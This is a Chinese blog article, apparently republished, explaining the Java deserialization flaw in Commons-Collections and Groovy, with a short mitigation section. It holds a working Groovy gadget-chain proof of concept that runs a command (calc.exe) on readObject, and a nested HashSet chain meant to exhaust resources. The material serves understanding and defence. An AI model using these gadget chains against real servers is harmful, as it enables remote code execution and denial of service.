JAVA 反序列化攻擊
Java 反序列化攻擊漏洞由 FoxGlove 的最近的一篇博文爆出,該漏洞可以被黑客利用向伺服器上傳惡意指令碼,或者遠端執行命令。
由於目前發現該漏洞存在於 Apache commons-collections, Apache xalan 和 Groovy 包中,也就意味著使用了這些包的伺服器(目前發現有WebSphere, WebLogic,JBoss),第三方框架(Spring,Groovy),第三方應用(Jenkins),以及依賴於這些伺服器,框架或者直接/間接引用這些包的應用都會受到威脅,這樣的應用的數量會以百萬計。
說到漏洞存在的原因,根本還在於 Java 序列化自身的缺陷,眾所周知,序列化的目的是使 Java 物件轉化成位元組流,方便儲存或者網路上傳輸。Java 物件分解成位元組碼過程叫做序列化,從位元組碼組裝成 Java 物件的過程叫做反序列化,這兩個過程分別對應於的 writeObject 和 readObject 方法。問題在於 readObject 在利用位元組流組裝 Java 物件時不會呼叫建構函式, 也就意味著沒有任何型別的檢查,使用者可以複寫 readObject() 方法執行任何希望執行的程式碼。
這可能會導致三方面問題:
1. 序列化物件修改了物件或者父類的某個未加保護的關鍵屬性,導致未預料的結果。 例如:
class Client {
private int value;
public Client(int v) {
if (v <= 0) {
throw new RuntimeException("not positive number");
}
value = v;
}
public void writeObject(ObjectOutputStream oos) throws IOException {
int value = 0; //這裡該值被改為0。(現實中可以通過除錯模式,修改serialize位元組碼或者class instrument等多種方式修改該值)
oos.defaultWriteObject();
}
}
class Controller {
private ArrayBlockingQueue<Client> queue;
public void receiveState(ObjectInputStream o) throws IOException, ClassNotFoundException {
Client s = (Client)o.readObject(); //反序列化不呼叫建構函式,value的非零檢查不會觸發
queue.add(s);
}
public Client getClient() throws InterruptedException {
return (Client)queue.take();
}
}
class Server extends Thread {
private Controller controller = new Controller();
private int result = 100;
public void run() {
while (true) {
try {
result = result / controller.getClient().getValue(); // 由於value是0,會導致算數異常,執行緒結束
Thread.sleep(100);
} catch (InterruptedException e) {}
}
}
}
2. 攻擊者可以建立迴圈物件鏈,然後序列化。會導致反序列化無法結束, 空耗系統資源。例如:
Set root = new HashSet();
Set s1 = root;
Set s2 = new HashSet();
for (int i = 0; i < 10; i++) {
Set t1 = new HashSet();
Set t2 = new HashSet();
t1.add("foo"); //使t2不等於t1
s1.add(t1);
s1.add(t2);
s2.add(t1);
s2.add(t2);
s1 = t1;
s2 = t2;
}
3. 使用者在收到序列化物件流時可以選擇儲存在本地,以後再處理。由於沒有任何校驗機制,使得上傳惡意程式成為可能。
class Controller {
public void receiveState(ObjectInputStream ois) {
FileOutputStream fos = new FileOutputStream(new File("xxx.ser"));
fos.write(ois); //實際並不知道存的是什麼,可能是惡意指令碼。
fos.close();
}
}
那麼這次由 FoxGlove 暴露出來的 Serialization Attack 具體是怎樣呢?下面是 Groovy 的一個例子:
public class GroovyTest {
public static void main(String[] args) throws Exception {
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure("calc.exe", "execute"), "entrySet");
Class<?>[] clsArr = {Map.class};
final Map map = Map.class.cast(Proxy.newProxyInstance(GroovyTest.class.getClassLoader(), clsArr, closure));
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
final InvocationHandler handler = (InvocationHandler)ctor.newInstance(Override.class, map);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(handler);
byte[] bytes = bos.toByteArray(); //物件被序列化
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject(); //反序列化時calc.exe被執行
}
}
在這個例子中,ConvertedClosure 會把一個 Closure 物件對映成 Java 的 entrySet
方法,而在AnnotationInvocationHandler 的 readObject
方法中,會嘗試呼叫 entrySet()
方法,這會觸發 calc.exe 的呼叫。
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if(var7 != null) {
Object var8 = var5.getValue();
if(!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
針對這個問題,FoxGlove Security 提到開發者不應該反序列化任何不信任的資料,而實際情況卻是開發者對該問題的危害沒有足夠的認知,他提到一種激進的做法那就是如果你足夠勇敢可以嘗試掃描並刪除存在反序列化漏洞的類,但是實際情況是第一沒有人敢於冒這種風險,第二,當應用物件的依賴關係會很複雜,反序列化過程會導致很多關聯物件被建立,所以掃描不能保證所有的問題類被發現。
然而幸運的是,這個問題引起了一些安全公司的重視,在他們推出的 RASP(Runtime Application Security Protection)產品中會在應用執行期對該漏洞進行防護。
本文轉自 OneAPM 官方部落格
相關文章
- 利用PHAR協議進行PHP反序列化攻擊協議PHP
- Java 安全之:csrf攻擊總結Java
- PHP現反序列化漏洞 或使WordPress遭遠端攻擊PHP
- 使用CBC位元反轉攻擊繞過加密的會話令牌加密會話
- XXE攻擊攻擊原理是什麼?如何防禦XXE攻擊?
- 淺談DDOS攻擊攻擊與防禦
- APT攻擊APT
- 口令攻擊
- CSRF 攻擊
- 攻擊性
- CSRF攻擊
- Java審計之SQL隱碼攻擊篇JavaSQL
- 印度核電站遭網路攻擊?一路反轉到底
- 攻擊面管理預防網路攻擊原理?
- 分散式拒絕服務攻擊 DDoS攻擊分散式
- SQL隱碼攻擊式攻擊掃描器SQL
- 網路攻擊中主動攻擊和被動攻擊有什麼區別?
- 攻擊JavaWeb應用[3]-SQL隱碼攻擊[1]JavaWebSQL
- 攻擊JavaWeb應用[4]-SQL隱碼攻擊[2]JavaWebSQL
- CC攻擊和DD攻擊的區別在哪裡
- Java HTTP Host 頭攻擊原理以及如何防禦JavaHTTP
- Windows 核心攻擊Windows
- Mongodb注入攻擊MongoDB
- 網路攻擊
- web攻擊方式Web
- sql注入攻擊SQL
- SQL 注入攻擊SQL
- 前端攻擊手段前端
- CC攻擊:CC攻擊的原理便是攻擊者控制某些主機不停地發許
- DDoS攻擊與CC攻擊的區別是什麼?
- 再現在野0day攻擊--BITTER APT攻擊事件APT事件
- DHDiscover反射攻擊:可將攻擊放大近200倍反射
- 什麼是XSS攻擊?其攻擊原理有哪些?
- XSS攻擊和CSRF攻擊有什麼區別?
- 六個建議防止SQL隱碼攻擊式攻擊SQL
- 網站會DDOS攻擊會有哪些反應,如何應對此現象?網站
- 【原創】Java記憶體攻擊技術漫談Java記憶體
- 思科:Java成91%惡意攻擊的主要原因Java